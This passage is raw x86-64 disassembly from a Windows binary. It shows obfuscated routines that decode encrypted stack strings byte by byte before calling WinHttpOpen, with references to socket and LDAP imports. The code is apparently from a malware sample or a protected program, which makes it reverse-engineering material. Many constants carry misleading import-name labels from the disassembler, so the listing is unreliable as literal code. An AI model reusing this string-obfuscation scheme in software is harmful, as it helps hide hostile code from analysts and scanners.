and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x57
jmp 0x140147bba
lea edx, [r8 + 0x7f]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x79
add bl, dl
add r8b, 0x4f
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 0x29
add r9b, r8b
mov byte [rbp + r11 + 0x250], r9b
inc r10
jmp 0x140147bd3
lea ecx, [r11 - 0x49]
mov al, r9b
and al, cl
add al, al
sub r9b, al
lea ebx, [rcx + r9]
dec bl
dec r11
jmp 0x140147c98
mov r8b, r11b
lea edx, [r8 + 5]
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x23
add bl, dl
inc r8b
mov al, r9b
and al, r8b
add al, al
sub r9b, al
sub r9b, 7
add r9b, bl
add r9b, r8b
mov byte [rbp + r11 + 0x250], r9b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140147c98
movabs rax, 0x856300064b5f13d
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea ebx, [r9 + rax]
add bl, 0x55
mov dl, r11b
sub dl, r13b
mov al, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x250], cl
inc rdi
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x140147c89
movabs rax, 0x50083336fa05d8b
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea ebx, [r9 + rax]
add bl, 0x33
movzx eax, byte [rbp + r11 + 0x250]
add rax, r10
add r11, rax
inc r11
jmp 0x14014755f
sub r8b, 0x43
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x2b
jmp 0x14014755c
add r8b, 0xb
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x4d
jmp 0x14014754c
lea rdx, [rbp + 0x17fa01c]
jmp 0x140147cef
lea rdx, [rbp + 0x14a69f5]
jmp 0x140147cef
lea rdx, [rbp + 0x250]
lea rcx, [rbp + 0x518]
call fcn.140152364
mov byte [rbp + 0x10], 0x59
mov byte [rbp + 0x11], 1
mov byte [rbp + 0x12], Ordinal_143
mov byte [rbp + 0x13], 3
mov byte [rbp + 0x14], 0xba
mov byte [rbp + 0x15], Ordinal_32
mov byte [rbp + 0x16], 0xa3
mov byte [rbp + 0x17], Ordinal_33
mov byte [rbp + 0x18], 0xac
mov byte [rbp + Ordinal_27], 0x19
mov byte [rbp + 0x1a], 0xbb
mov byte [rbp + reloc.WLDAP32.dll_Ordinal_27], 0x1b
mov byte [rbp + 0x1c], 0x6b
mov byte [rbp + 0x1d], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x1e], 0x67
mov byte [rbp + 0x1f], reloc.WS2_32.dll_socket
mov byte [rbp + 0x20], 0x60
mov byte [rbp + 0x21], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x22], 0x60
mov byte [rbp + 0x23], reloc.WS2_32.dll_send
mov byte [rbp + 0x24], reloc.WS2_32.dll_select
mov byte [rbp + 0x25], WSASetLastError
xor eax, eax
mov qword [rbp + 0x26], rax
mov word [rbp + 0x2e], ax
mov dil, byte [rsp + 0x40]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r11d, r11d
cmp r11, 0x20
jae 0x14014870f
movzx r9d, byte [rbp + r11 + 0x10]
mov edx, r9d
mov r8b, r11b
cmp rbx, r11
ja 0x140148706
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x140147dc0
movabs rcx, 0x8d86a1bc82a0722b
add rcx, r11
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x2d
jmp 0x140147de0
je 0x140148697
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14014866d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140148635
mov r8b, r11b
cmp r10, r11
ja 0x1401486fd
lea rax, [r10 + 0x1000]
cmp rbx, rax
jae 0x140147e0f
lea ecx, [r8 - 0x79]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4f
jmp 0x140147e36
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401485fa
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401485de
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401485c2
lea rax, [r10 + rbx]
cmp rax, r11
jbe 0x140148310
lea rax, [r10 + 0x1000]
cmp rbx, rax
je 0x1401482f6
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x1401482d7
lea rax, [r10 + 0x28]
cmp rbx, rax
je 0x1401482bb
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401482a1
lea rax, [r10 + 4]
cmp rbx, rax
je 0x140148293
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x140148277
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14014825e
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14014823f
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x140148223
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x140147e43
lea rbx, [r10 + 0x5a]
lea r10, [rbx + 0x42]
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401486e2
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401486c6
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x140148030
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x140148016
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x140147ffc
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x1401481da
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x140148197
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14014815d
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x14014813c
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x140147e43
lea rbx, [r10 + 9]
lea r10, [rbx + 0x42]
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14014811d
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x140148101
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401480e7
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x1401480c8
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1401480ac
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140148092
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x140148074
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x140148058
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x14014804a
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x140147e43
lea rbx, [r10 + 9]
lea r10, [rbx + 0x41]
jmp 0x140147e43
lea ecx, [r8 + 0x59]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6f
jmp 0x140147e36
lea ecx, [r8 + 3]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
jmp 0x140147de3
lea ecx, [r8 - 0x53]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
jmp 0x140147d8b
lea edx, [r8 + 0x38]
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x140148524
sub r8b, 0x1e
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x2e
jmp 0x14014862a
sub r8b, r13b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
mov al, r8b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x14014862d
lea ecx, [r8 + 0x36]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7a
jmp 0x14014864d
sub r8b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x20
jmp 0x140148684
sub r8b, 0x76
mov ecx, Ordinal_33
mov al, r8b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140148687
lea ecx, [r8 + 0x34]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
jmp 0x14014856c
sub r8b, 0x22
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x12
jmp 0x140148594
sub r8b, 0x78
mov ecx, 0x24
mov al, r8b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x1401486b2
sub r8b, 0x4f
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x29
mov byte [rbp + r11 + 0x10], dil
jmp 0x1401486be
lea ecx, [r8 + 0x5b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7d
cmp r10, 2
jb 0x140148153
lea ecx, [r8 + 0x22]
mov al, cl
and al, r9b
mov edx, 9
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14014860f
lea ecx, [r8 + 5]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x23
cmp rbx, 2
jae 0x140148539
lea rax, [r10 + 9]
cmp rbx, rax
jbe 0x140148485
lea ecx, [r8 - 0x3a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x140148172
lea ecx, [r8 - 0x51]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x37
lea rax, [r10 + rbx]
cmp rax, 0x3e8
je 0x140148556
lea rax, [r10 + 9]
cmp rbx, rax
jbe 0x1401483cc
lea ecx, [r8 + 0x3f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x1401481ac
add r8b, 0x2a
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x26
jmp 0x1401486b2
sub r8b, 0x2c
mov al, r8b
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140148594
lea ecx, [r8 + 0x7e]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, r12b
jmp 0x14014856c
add r8b, 0x28
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x18
jmp 0x140148687
sub r8b, 0x2e
mov ecx, reloc.WLDAP32.dll_Ordinal_33
jmp 0x14014838d
lea ecx, [r8 + 0x7c]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
jmp 0x14014864d
add r8b, 0x26
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0xa
jmp 0x14014862d
sub r8b, 0x30
mov al, r8b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x14014862a
lea ecx, [r8 + 0x7a]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
jmp 0x14014860f
lea rax, [r10 + 0x42]
cmp rbx, rax
jae 0x140148333
lea ecx, [r8 + 0x2b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2d
jmp 0x1401481ef
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140148358
add r8b, 0xe
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x62
jmp 0x1401486b2
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14014837b
lea ecx, [r8 - 0x46]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
jmp 0x14014856c
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401483a3
add r8b, 0x66
mov ecx, reloc.WLDAP32.dll_Ordinal_27
mov al, r8b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140148684
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401481ef
add r8b, 0x12
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x7e
jmp 0x14014862d
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401483ef
lea ecx, [r8 - 0x6b]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x14014860f
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140148414
add r8b, 0x41
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x39
jmp 0x14014862d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x140148439
sub r8b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x7b
jmp 0x140148684
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14014845c
lea ecx, [r8 - 0x67]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2f
jmp 0x14014856c
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401481ac
add r8b, 0x45
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x1d
jmp 0x1401486b2
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14014849c
add r8b, 0x1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140148126
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401484bf
lea ecx, [r8 - 0x38]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14014856c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401484d6
add r8b, 0x1e
mov ecx, reloc.WS2_32.dll_socket
jmp 0x1401480d1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401484f7
lea edx, [r8 - 0x36]
mov al, dl
and al, r9b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14014854e
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14014850e
add r8b, 0x20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x14014807c
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x140148172
lea edx, [r8 - 0x34]
mov ecx, gethostname
mov al, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14014860f
lea ecx, [r8 + 0x78]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
add dil, r9b
jmp 0x14014864d
lea edx, [r8 - 0x32]
mov al, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r8b, 7
mov al, r8b
and al, r9b
add al, al
sub r8b, al
add r8b, 0x31
add r8b, r9b
movzx eax, r8b
mov byte [rbp + r11 + 0x10], al
inc r10
add rax, r10
sub r11, rax
lea edx, [r11 + 0x24]
mov al, dl
and al, r9b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r11 + 0x10], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
jmp 0x1401486b2
sub r8b, 0x75
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x33
jmp 0x140148687
add r8b, 0x35
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x73
jmp 0x140148684
lea ecx, [r8 - 0x23]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xb
add r8b, 0x4d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x1b
add r8b, r9b
mov byte [rbp + r11 + 0x10], r8b
inc r10
dec r11
jmp 0x1401486be
mov r8b, r11b
lea ecx, [r8 + 0x2f]
mov al, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
sub r8b, 0x5d
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x75
add r8b, dil
add r8b, r9b
mov byte [rbp + r11 + 0x10], r8b
jmp 0x140148684
sub r8b, 0x27
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x11
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401486be
movabs rax, 0xa893e53587e15681
add rax, r11
and dl, al
add dl, dl
sub al, dl
lea edi, [r9 + rax]
add dil, 0x79
movzx eax, byte [rbp + r11 + 0x10]
add rax, r10
add r11, rax
inc r11
jmp 0x140147d75
add r8b, 0x57
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x61
jmp 0x140147d72
inc r8b
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 7
jmp 0x140147d62
lea rcx, [rbp + 0x14cb4f4]
jmp 0x140148713
lea rcx, [rbp + 0xad271f]
jmp 0x140148713
lea rcx, [rbp + 0x10]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0x60], rax
mov byte [rbp + 0x280], 0xb7
mov byte [rbp + 0x281], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x282], 0x87
mov byte [rbp + 0x283], Ordinal_45
mov byte [rbp + 0x284], 0x86
mov byte [rbp + 0x285], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x286], 0xbe
mov byte [rbp + 0x287], reloc.WS2_32.dll_socket
mov byte [rbp + 0x288], 0x87
mov byte [rbp + 0x289], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x28a], 0x81
mov byte [rbp + 0x28b], reloc.WS2_32.dll_send
mov byte [rbp + 0x28c], 0x87
mov byte [rbp + 0x28d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x28e], 0xcc
mov byte [rbp + 0x28f], Ordinal_33
mov byte [rbp + 0x290], 0x88
mov byte [rbp + 0x291], Ordinal_33
mov byte [rbp + 0x292], 0xb7
mov byte [rbp + 0x293], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x294], 0x83
mov byte [rbp + 0x295], Ordinal_27
mov byte [rbp + 0x296], 0xaf
mov byte [rbp + 0x297], 7
mov byte [rbp + 0x298], 0x9b
mov byte [rbp + 0x299], 5
mov byte [rbp + 0x29a], 0xa3
mov byte [rbp + 0x29b], 3
mov byte [rbp + 0x29c], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x29d], 1
mov byte [rbp + 0x29e], __WSAFDIsSet
mov byte [rbp + 0x29f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x2a0], __WSAFDIsSet
mov byte [rbp + 0x2a1], reloc.WS2_32.dll_listen
mov byte [rbp + 0x2a2], 0xab
mov byte [rbp + 0x2a3], ntohs
mov byte [rbp + 0x2a4], 0xda
mov byte [rbp + 0x2a5], 9
mov byte [rbp + 0x2a6], 0x63
mov byte [rbp + 0x2a7], 0xf7
mov byte [rbp + 0x2a8], 0x67
mov byte [rbp + 0x2a9], 0xf5
mov byte [rbp + 0x2aa], 0x5f
mov byte [rbp + 0x2ab], 0xf3
mov byte [rbp + 0x2ac], 0xf0
mov byte [rbp + 0x2ad], 0xf1
xor eax, eax
mov word [rbp + 0x2ae], ax
mov bl, byte [rsp + 0x40]
call fcn.140158170
mov rdi, qword [rax]
call fcn.140158178
mov r11, qword [rax]
xor ecx, ecx
mov qword [rsp + 0x48], rcx
cmp rcx, 0x30
jae 0x1401491a1
movzx r8d, byte [rbp + rcx + 0x280]
mov edx, r8d
mov qword [rsp + 0x50], rdx
cmp rdi, rcx
ja 0x140149198
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401488e5
movabs rax, 0x6799e75a9ed198da
add rcx, rax
mov rax, rdx
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rdx
add rbx, rcx
add bl, 0xa
mov rcx, qword [rsp + 0x48]
jmp 0x14014891f
je 0x140149118
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401490c2
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140149089
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140149048
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140148ffb
mov r9b, cl
mov r10b, r9b
mov sil, r9b
mov r14b, r9b
cmp r11, rcx
ja 0x14014918f
lea r13, [r11 + 3]
lea r15, [r11 + 1]
cmp rdi, r13
jae 0x140148964
lea ecx, [r9 - 0x1e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2e
lea rdx, [r11 + 5]
lea rax, [r11 + 2]
mov rcx, qword [rsp + 0x48]
jmp 0x140148987
cmp rdi, r15
je 0x140148fe4
lea rax, [r11 + 2]
cmp rdi, rax
je 0x140148fcc
lea rdx, [r11 + 5]
cmp rdi, rdx
je 0x140148fad
lea r12, [r11 + rdi]
cmp r12, rcx
jbe 0x140148d1b
lea rax, [r11 + 9]
cmp rdi, rax
je 0x140148cfc
lea rax, [r11 + 0x80]
cmp rdi, rax
je 0x140148cdd
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x140148cc1
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x140148ca6
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140148c86
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140148c6b
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x140148994
lea rdi, [r11 + 0x7a]
lea r11, [rdi + 0x10]
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x140149170
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140149151
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x140148aee
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x140148acc
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140148bfd
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x140148be5
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x140148bc3
lea rdi, [r11 + 0x28]
lea r11, [rdi + 0x80]
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x140148ba8
lea rax, [r11 + 0x28]
cmp rdi, rax
ja 0x140148b8c
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x140148b6d
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x140148b51
lea rax, [r11 + 5]
cmp rdi, rax
ja 0x140148b32
lea rax, [r11 + 0x7a]
cmp rdi, rax
ja 0x140148b17
lea rax, [r11 + 0x42]
cmp rdi, rax
ja 0x140148994
lea rdi, [r11 + 0x3e8]
lea r11, [rdi + 6]
jmp 0x140148994
lea edx, [r9 - 0x56]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
mov rcx, qword [rsp + 0x48]
jmp 0x140148922
sub r9b, 0xa
mov al, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
jmp 0x1401488ac
add r9b, 0x10
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x70
jmp 0x140149012
sub r9b, 0xc
mov al, r9b
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x14014905f
add r9b, 0x40
mov al, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x14014909d
sub r9b, 0x74
mov al, r9b
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
add bl, r8b
jmp 0x140148c9c
add r9b, 0x24
mov al, r9b
and al, r8b
mov ecx, 2
sub cl, al
lea ebx, [rcx + rcx]
add bl, r9b
jmp 0x1401490dd
add r9b, 0x70
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x10
jmp 0x14014913b
add r9b, 0x2e
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x42
mov byte [rbp + rcx + 0x280], bl
jmp 0x140149149
add r9b, 0x7a
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x56
jmp 0x140148c47
sub r9b, 0x3a
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x6a
cmp rdi, 0xa
jae 0x140148f41
lea rax, [r11 + 0x40]
cmp rdi, rax
jbe 0x140148e9c
lea edx, [r10 - 0x2c]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov rcx, qword [rsp + 0x48]
cmp r11, 0x64
jb 0x140148bd9
lea edx, [r10 - 0x24]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x140149012
add r9b, 0x4c
mov al, r9b
and al, r8b
add al, al
sub r9b, al
lea ebx, [r8 + r9]
sub bl, 0x14
jmp 0x14014913b
add r9b, 0x30
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x50
mov r9, qword [rsp + 0x48]
jmp 0x1401490a8
add r9b, 0x7c
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea ebx, [r9 + r8]
sub bl, 0x64
jmp 0x1401490a0
sub r9b, 0x38
mov al, r8b
and al, r9b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
add bl, r9b
jmp 0x14014905f
add r9b, 0x60
mov al, r8b
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140149038
sub r9b, 0x54
mov al, r8b
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r9b
jmp 0x140149012
cmp rdi, rdx
jae 0x140148d71
sub r14b, 0x26
mov al, r8b
and al, r14b
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r14b
cmp r12, 0x400
je 0x140148f5c
lea rax, [r11 + 8]
cmp rdi, rax
jbe 0x140148e23
lea edx, [r10 - 0xe]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140148c13
cmp rdi, r15
jne 0x140148d91
sub sil, 0x3c
mov al, r8b
and al, sil
add al, al
sub r8b, al
lea ebx, [rsi + r8]
sub bl, 0x5c
jmp 0x14014913b
cmp rdi, rax
jne 0x140148db2
add r10b, 0x78
mov al, r8b
and al, r10b
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x48
add bl, r10b
jmp 0x1401490e0
cmp rdi, rdx
jne 0x140148dd2
lea edx, [r10 + 0x48]
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140148f55
cmp rdi, r13
jne 0x140148dfb
sub r10b, 4
mov al, r8b
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r10b
mov rcx, qword [rsp + 0x48]
jmp 0x140149040
lea rax, [r11 + 6]
cmp rdi, rax
jne 0x140148d3a
lea edx, [r10 + 0x64]
mov ecx, Ordinal_35
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x140148ff7
cmp rdi, r15
jne 0x140148e33
lea edx, [r10 - 0x5a]
mov ecx, Ordinal_60
jmp 0x140148e11
cmp rdi, rdx
jne 0x140148e53
add r10b, 0x76
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea ebx, [r10 + r8]
sub bl, 0x3a
jmp 0x1401490a0
cmp rdi, r13
jne 0x140148e70
lea edx, [r10 - 0x22]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x12
jmp 0x140148f6f
lea rax, [r11 + 9]
cmp rdi, rax
jne 0x140148c13
add r10b, 0x46
mov ecx, ntohs
mov al, r8b
and al, r10b
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, r10b
jmp 0x140149136
lea rax, [r11 + 1]
cmp rdi, rax
jne 0x140148eb0
sub r10b, 0x78
mov ecx, 0x24
jmp 0x140148e86
lea rax, [r11 + 3]
cmp rdi, rax
jne 0x140148ed4
sub r10b, 0x5c
mov al, r8b
and al, r10b
add al, al
sub r8b, al
lea ebx, [r10 + r8]
sub bl, 0x7c
jmp 0x140148c9c
